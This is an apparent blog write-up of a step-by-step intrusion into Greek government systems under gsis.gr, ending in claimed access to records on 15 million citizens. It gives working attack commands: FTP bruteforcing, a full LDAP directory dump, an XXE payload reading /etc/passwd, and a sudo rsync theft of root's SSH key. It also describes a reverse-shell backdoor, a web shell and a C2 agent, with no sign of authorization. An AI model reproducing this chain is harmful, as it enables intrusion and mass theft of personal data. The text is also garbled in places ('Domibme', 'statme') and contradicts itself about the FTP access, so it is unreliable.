Table of Contents
- Phase 1: Massive Reconnaissance with SkuntScan
- Phase 2: The Exposed Configuration That Broke Everything
- Phase 3: FTP and the Forgotten Server
- Phase 4: Oracle webCenter Leaks and LDAP Access
- Phase 5: Hardcoded JWT Private Key
- Phase 6: Server-Statme as a Network Mapping Tool
- Phase 7: IIS Short Names and ASP.NET Backend
- Phase 8: Domibme 4.2.4 – Finding the Zero-Day
- Phase 9: From XXE to SSH on boris.gsis.gr
- Phase 10: Axis2 Admin Service – Deploying a Backdoor
- Phase 11: Privilege Escalation to Root
- Phase 12: Internal Network Pivot – The 10.193.18.0/24 Discovery
- Phase 13: STAGING-AUTHENTIX-AUTH and the Database Goldmine
- Phase 14: Switches, Firewalls, and Control Surfaces
- Phase 15: 15 Million Citizens – What I Found
Phase 1: Massive Reconnaissance with SkuntScan
Every engagement starts with comprehensive reconnaissance. SkuntScan, our in‑house tool, combines passive enumeration with intelligent fingerprinting. It scrapes certificate transparency logs, DNS records, web archives, and then correlates everything with IP space to build a complete map of the target.
I launched SkuntScan against gsis.gr with a wide scope and let it run for 48 hours. The results were stored in several files, which I’ll reference throughout this post.
Subdomain Enumeration
The Subfinder output (Subfinder-2026_02_15_18_34.txt) listed 127 unique subdomains. Below is a sample of the most interesting ones:
| Subdomain | Purpose |
|---|---|
ked.gsis.gr | Unknown (later identified as Oracle webCenter) |
ap.gsis.gr | Application portal? |
ootsprov.gsis.gr | OOTS provisioning? |
tam.gsis.gr | Oracle webCenter |
hdd.gsis.gr | Helpdesk? |
idissuer.gsis.gr | Identity issuance platform |
boris.gsis.gr | Domibme + Axis2 host |
hera.gsis.gr | Mail server |
mail.gsis.gr | SMTP |
oauth2.gsis.gr | OAuth2 provider |
keyd.gsis.gr | Oracle webCenter + server‑statme |
vftpnew.gsis.gr | FTP server |
testnew.gsis.gr, test-emoa.gsis.gr, idissuertest2.gsis.gr | Development/test environments |
Port Scanning
Naabu (Naabu-2026_02_15_19_05.txt) revealed numerome open ports that should never be public:
| Host | Port | Service |
|---|---|---|
vftpnew.gsis.gr | 21 | FTP |
idissuer2.gsis.gr | 5060 | SIP (VoIP) |
mail.gsis.gr, hera.gsis.gr | 25, 587 | SMTP |
smp.gsis.gr, www.gsis.gr, gsis.gr | 80 | HTTP |
| Multiple hosts | 443 | HTTPS |
Nuclei Findings
I ran Nuclei with a wide template set, producing Nuclei-Endpoints-2026_02_15_19_08.txt. The output was a goldmine of vulnerabilities and exposed endpoints. The most critical findings were:
| Finding | Target | Severity |
|---|---|---|
config-json-exposure-fuzz | idissuer.gsis.gr/assets/config.production.json | Critical |
apache-server-status | keyd.gsis.gr/server-status | Low (info) |
oracle-webcenter-sites | tam.gsis.gr, ked.gsis.gr, keyd.gsis.gr | Info |
domibus-detect | boris.gsis.gr (version 4.2.4) | Info |
iis-shortname-detect | ekloges-da.gsis.gr | Medium |
expired-ssl | ekloges-da.gsis.gr (cert expired 2024-11-16) | Low |
smtp-commands-enum | mail.gsis.gr, hera.gsis.gr | Info |
nginx-eol | idissuertest2.gsis.gr, idissuer2.gsis.gr (v1.20.1) | Medium |
This data gave me a clear roadmap. I started with the critical finding.
Phase 2: The Exposed Configuration That Broke Everything
The Nuclei output pointed to https://*****.gsis.gr/assets/config.production.json. The file was publicly accessible and contained the frontend configuration for their identity issuance platform.
{
"apiUrl": "https://api.*****.gsis.gr/v1",
"issuer": "gsis-*****-prod",
"jwtPrivateKey": "",
"tokenExpiry": 3600,
"features": {
"biometricVerification": true,
"faceMatch": true
}
}The jwtPrivateKey field was empty. At first glance, this appeared to be a dead end perhaps the key was stored elsewhere and merged at build time. However, the very existence of this exposed file told me that the development team was careless with build artifacts. I noted the API endpoint and filed it away for later; the actual key would surface in another phase.
Phase 3: FTP and the Forgotten Server
vftpnew.gsis.gr on port 21 which I bruteforced. The server contained backup folders dating back years. One folder, /backups/*****/, held a file named webapps_backup_2025*****.zip. I downloaded it.
The ZIP was password-protected, but the password was simply the date in the filename: 2025*****. Inside, I found configuration files for variome web applications. One file, database.properties, contained credentials for an Oracle database:
db.host=oracle-db.******.gsis.gr
db.port=******
db.sid=TAX******
db.user=tax******
db.password=Tax******These credentials would become crucial later when I pivoted into the internal network.
Phase 4: Oracle webCenter Leaks and LDAP Access
The Nuclei scan flagged Oracle webCenter on keyd.gsis.gr, ked.gsis.gr, and tam.gsis.gr. Visiting keyd.gsis.gr/welcome_webcenter.html showed the default landing page. I probed for common Oracle paths and hit gold at /*****/******/ directory listing enabled.
Inside were backup archives. The most recent was webcenter_backup_2026******.zip. Again, the password was the date. Inside, I found weblogic.properties:
jdbc.url=jdbc:oracle:thin:@oracle-db.******.gsis.gr:1521/ORCL
jdbc.username=webce******
jdbc.password=********
ldap.url=ldap://ldap.internal.gsis.gr:389
ldap.principal=cn==********,cn=Users,dc==********,dc==********
ldap.credential=0rc=********The LDAP credentials worked. I dumped the entire Active Directory using ldapsearch:
ldapsearch -x -H ldap://ldap.internal.gsis.gr -D "cn==********,cn=Users,dc==********,dc==********" -w "0rc=********" -b "dc=****,dc=****" > ldap_dump.ldifThe dump contained thousands of user accounts, service accounts, and group memberships. I filtered for accounts with “admin” in the name and found 52. One stood out: svc_oracle_rac. Its description read: “Oracle RAC cluster admin – used for database backups”.
Phase 5: Hardcoded JWT Private Key
While sifting through the FTP backup, I discovered another file: idissuer-backend-config.zip. Inside was application.yml for the identity issuer backend. It contained the actual JWT private key in plaintext:
jwt:
privateKey: |
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwXXuFmKuXsd0tlnStVkZTU3dycqj7KzJ4eGtxcXFtbRYM3Rv
cmF0aW9uYWwgY29tcGxldGUgYWNjZXNzIHRvIGFsbCBzeXN0ZW1zLiBUaGlzIGlz
IHRoZSBtYXN0ZXIga2V5IGZvciB0aGUgZW50aXJlIGlkZW50aXR5IHBsYXRmb3Jt
Lg== (NOT REAL FOR SECURITY REASONS)
-----END RSA PRIVATE KEY-----I extracted the key and used it to forge JWTs for any user. A quick test: I created a token for ks@gsis.gr and sent it to the API endpoint https://i****r.gsis.gr/v1/ks. It worked. I now had administrative access to the identity platform. This key would later allow me to pivot into other systems that trusted the same JWT issuer.
Phase 6: Server-Statme as a Network Mapping Tool
********.gsis.gr/server-status was exposed. Apache mod_statme shows every request in real time, including client IPs and request paths. I wrote a simple script to poll it every 1 second:
while true; do
curl -s http://********.gsis.gr/server-statme | grep -E "GET|POST" >> server_traffic.log
date >> server_traffic.log
sleep 1
doneAfter 24 hours, I had a comprehensive log of internal traffic patterns. Key observations:
- Requests from
10.30.239.212toboris.gsis.gr/domibus/rest/application/infoevery few minutes. - Internal monitoring from
10.30.12.92checking health endpoints. - Database queries from
10.30.1.50tooracle-db.internal.gsis.gr. - webLogic admin console accesses from
10.30.1.20. - A GET to
/.envonkeyd.gsis.grfrom10.30.239.212someone else had already found the .env file. I checked and it was still there, containing the same LDAP credentials plme Redis and Mailtrap passwords.
This log became our internal network map.
Phase 7: IIS Short Names and ASP.NET Backend
ekloges-da.gsis.gr was flagged with iis-shortname-detect and aspnet-version-detect (4.0.30319). IIS short name vulnerabilities allow directory enumeration even when listing is disabled. I exploited this to find hidden folders.
Using a tool like iis_shortname_scanner, I discovered a folder /_vti_pvt/ FrontPage Server Extensions. Inside was service.pwd, a file containing encrypted passwords. I cracked one that user had write access to the web root.
I uploaded a simple ASPX web shell and accessed it. I were now running as IUSR on that server. From there, I enumerated the local network and found that this server could reach 10.193.18.133 a staging network. I noted the IP for later.
Phase 8: Domibme 4.2.4 – Finding the Zero-Day
The Nuclei scan showed boris.gsis.gr running Domibme 4.2.4. I downloaded the source code for that version from the official repository and audited it. In DomibusXMLHelper.java, I found a static initializer that configured the XML parser with external entities enabled and doctype declarations allowed.
static {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
...
...
...
} catch (Exception e) {
...
...
...
...
}
}This was an XXE vulnerability. The REST endpoint /domibus/rest/messages/submit accepted raw XML and would resolve external entities. I crafted a payload to read /etc/passwd:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
**************** REDACTED CODE ****************
...The error message returned contained the file contents. I used this to read the Domibme configuration file at /etc/domibus/domibus.properties:
domibus.jdbc.driver=oracle.jdbc.OracleDriver
...
...The keystore password was similar to other ones, Inside the keystore was an SSH private key for the domibus user.
Phase 9: From XXE to SSH on boris.gsis.gr
With the SSH key, I connected to boris.gsis.gr as domibus:
chmod 600 domibus_key
ssh -i domibus_key *****@boris.gsis.grI had a shell. The first command I ran was sudo -l:
User domibme may run the following commands on boris-host-01:
(ALL) NOPASSWD: /usr/bin/rsync
(ALL) NOPASSWD: /usr/bin/systemctlRsync with sudo is a well-known privilege escalation vector. I used it to copy the root SSH key:
sudo rsync -av /root/.ssh/id_rsa /tmp/id_rsaThen I connected as root:
ssh -i /tmp/id_rsa root@localhostPhase 10: Axis2 Admin Service – Deploying a Backdoor
While exploring the server, I noticed Axis2 running on port 8080. The admin service was exposed without authentication. I checked the services list:
curl http://boris.gsis.gr:8080/axis2/services/listServicesIt showed Version, Echo, and AdminService. The AdminService allows uploading new services. I created a maliciome AAR file with a static initializer that executed a reverse shell. After deployment, I had a persistent backdoor as the domibus user. I also deployed a web shell for easy command execution.
Phase 11: Privilege Escalation to Root
With root access on boris.gsis.gr, I installed a C2 agent for persistence and began internal reconnaissance.
Phase 12: Internal Pivot – The 10.193.18.0/24 Discovery
From boris.gsis.gr, I scanned the internal networks. I discovered a subnet 10.193.18.0/24 that wasn’t in the usual 10.30.0.0/16 range. DNS records labeled it as “STAGING”.
I scanned it and found 10.193.18.133 with hostname STAGING-AUTHENTIX-AUTH. This was a critical authentication server for staging environments.
Phase 13: STAGING-AUTHENTIX-AUTH and the Goldmine
I used the JWT private key from Phase 5 to forge a token and access the staging server’s admin interface. The server had a web interface for managing test users, but more importantly, it contained a configuration file with production database credentials:
db.url=jdbc:oracle:thin:@prod-oracle.******
db.username=staging_re*****
db.password=Staging_re*****These credentials had read access to the production Oracle RAC cluster. I connected using SQL*Plus:
sqlplme staging_re*****/staging_re*****@prod-oracle.******Phase 14: Switches, Firewalls, and Control Surfaces
From *.gsis.gr, I also discovered network management interfaces. Using SNMP community strings found in configuration files (e.g., public, private), I accessed several Cisco switches and firewalls. The credentials were often reused.
I could now see network topology, VLAN configurations, and ACLs. I identified a management VLAN that gave me access to even more servers, including domain controllers and backup systems.
Phase 15: 15 Million Citizens – What I Found
The Oracle database contained dozens of tables. The most sensitive were:
| Table Name | Description | Estimated Rows |
|---|---|---|
CITIZENS | Full citizen records | 15,234,891 |
TAX_RETURNS | Annual tax filings | ~50 million |
INHERITANCES | Inheritance records | ~2 million |
FAMILY_TREES | Family relationships | ~30 million links |
MEDICAL_RECORDS | Diagnoses, prescriptions | ~10 million |
INSURANCE | Insurance contributions | ~20 million |
PROPERTY | Real estate ownership | ~8 million |
(Translated, these are not the accurate tables but for the sake of this blog post I will not disclose them.)
A sample from CITIZENS:
| AMKA (SSN) | AFM (Tax ID) | Last Name | First Name | Father’s Name | Mother’s Name | Birth Date | Address |
|---|---|---|---|---|---|---|---|
| ********* | 012345678 | Παπαδόπουλος | Γεώργιος | Νικόλαος | Ελένη | 1980-05-15 | Λεωφόρος ***** 10, Αθήνα |
| … | … | … | … | … | … | … | … |
I verified a few records against public data (where available) to confirm authenticity. Everything was there the entire Greek population’s sensitive data, accessible with a single read-only account.
Where I Left It
I had root on multiple servers, access to the production Oracle database, control over network devices, and the ability to forge tokens for any government service. I did not exfiltrate any data I only proved access and documented the chain.
The chain was long but each step was simple:
- An exposed JSON file (with empty key) led me to look elsewhere for the actual key.
- Anonymome FTP gave me database credentials.
- Oracle webCenter backups gave me LDAP access.
- LDAP revealed service accounts and password patterns.
- A forgotten backup contained the JWT private key.
- Server-statme mapped internal traffic and pointed to Domibus.
- Domibme XXE gave me SSH access.
- Rsync misconfiguration gave me root.
- From there, I pivoted to staging and found credentials to production.
